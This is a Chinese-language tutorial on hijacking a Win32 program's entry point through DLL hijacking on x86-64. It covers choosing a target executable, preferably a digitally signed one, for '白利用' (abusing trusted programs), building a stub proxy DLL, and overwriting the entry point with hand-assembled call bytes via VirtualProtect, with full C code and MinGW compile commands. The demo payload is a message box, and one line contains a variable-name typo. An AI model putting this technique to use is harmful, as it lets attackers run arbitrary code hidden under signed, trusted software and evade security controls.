提线木偶:利用 DLL 劫持实现 Win32 程序入口点劫持(x86-64)
TLDR
这是一篇教读者使用 GetModuleInformation()
获取进程入口点,并向入口点地址写入精心构造的二进制指令,从而劫持目标程序入口点,实现白利用的教程。
本教程使用 MinGW-w64 工具链,目标平台是 Windows(x86-64)。改变构造指令的方式后,也可迁移到其它 Win32 环境内。
注意:被劫持的进程 不会 执行原有的代码。
前置知识
寻找目标程序
合适的目标程序需要在导入表(Import table)内定义至少一个条件合适的 DLL,即:
- (Windows 7 以后)该 DLL 不在注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
项目之列。 - 该 DLL 对外暴露若干 C 函数(不以
@
开头)。 - 程序加载该 DLL 的时候会调用其
DllMain()
DLL 之所以需要出现在导入表中,是因为这些 DLL 会在控制流到达程序入口点之前加载,它们的 DllMain 也会在程序执行前执行。
如果读者的目标是「白利用」,目标程序最好带有有效的数字签名。
CFF Explorer 和 objdump -x
都可以查看可执行文件的导入表和导出表。
制作占位 DLL
AheadLib 可以方便的生成伪造 DLL 的代码,并把所有调用转发到真实的 DLL 中。利用 jmp
指令跳转到真实函数后,函数调用的栈平衡问题也迎刃而解。
本篇教程要制作的东西是「提线木偶」,不需要逐一转发调用。此情景下的栈平衡问题也很好解决:只要函数不返回,栈平衡问题就不会出现。
#define ENTRY(name) \
__declspec(dllexport) void name() { while (1) { Sleep(30000); } }
ENTRY(D3D11CreateDevice)
寻找入口点
PSAPI 中的 GetModuleInformation()
不仅可以传入 hModule 获取模块信息,也可以获取所在进程本身的信息。当 hModule 为 NULL 时,GetModuleInformation()
会返回进程本身(或称可执行程序映像本身)的模块信息。
GetModuleInfomation 的结果包含我们需要的入口点地址。
void* getEntryPoint() {
MODULEINFO modInfo;
BOOL res;
res = GetModuleInformation(
GetCurrentProcess(),
NULL,
&modInfo,
sizeof(modInfo)
);
if (!res) return NULL;
return modInfo.EntryPoint;
}
作者是怎么知道这些的呢?Kooi 告诉作者的(逃)。
劫持入口点控制流
向入口点写入一串跳转(或调用)指令,跳转到我们定义的函数里,就能劫持入口点了。构造指令的方式相对简单:使用 x86-64 的间接调用(或间接跳转)指令,跳转到我们定义的函数开头即可。
找到构造方式并不难:查阅 x86-64 汇编手册,或使用 GCC 内联汇编并观察输出结果均可。
注意使用 VirtualProtect()
令入口点可写,指令序列写入后再恢复原有保护状态(通常是 PAGE_EXECUTE_READ
)。
#include <windows.h>
#include <string.h>
#include <psapi.h>
#include <stdint.h>
__declspec(dllexport)
void ourFunction() {
MessageBox(NULL, "Hello world!", "Hello", MB_OK);
}
uint64_t pfnOurFunction;
__declspec(dllexport)
void hijackModule() {
MODULEINFO modInfo;
BOOL res;
res = GetModuleInformation(
GetCurrentProcess(),
NULL,
&modInfo,
sizeof(modInfo)
);
if (!res) return;
void* entryPoint = modInfo.EntryPoint;
uint8_t codes[] = {
// movabsq $0,%rax
0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
// callq *%rax
0xff, 0xd0,
// retq
0xc3,
// nop
0x90, 0x90, 0x90
};
pfnOurFunction = (uint64_t)ourFunction;
memcpy(codes+2, &pfnOurFunction, sizeof(pfnOurFuncion));
DWORD oldProtect;
VirtualProtect(entryPoint, sizeof(codes), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(entryPoint, &codes, sizeof(codes));
VirtualProtect(entryPoint, sizeof(codes), PAGE_EXECUTE_READ, &oldProtect);
}
控制流进入程序入口点时,剩余的栈空间可能相当紧张。此时可考虑在 ourFunction
内执行 while (1) Sleep(1000);
死循环,并另行启动新线程执行代码。
使用 MinGW-w64 编译
x86_64-w64-mingw32-gcc-win32 yourcode.c -o yourcode.dll -shared -DWIN32_LEAN_AND_MEAN -lpsapi
-DWIN32_LEAN_AND_MEAN
可以避免引入不常用的头文件(如 MFC 等)。尝试劫持 winmm.dll
等 DLL 时,该选项必须启用。
如果读者希望这些代码在 Windows 7 及更早版本的 Windows 上正常运作,编译选项还需增加 -DPSAPI_VERSION=1
。详见 GetModuleInformation#Remarks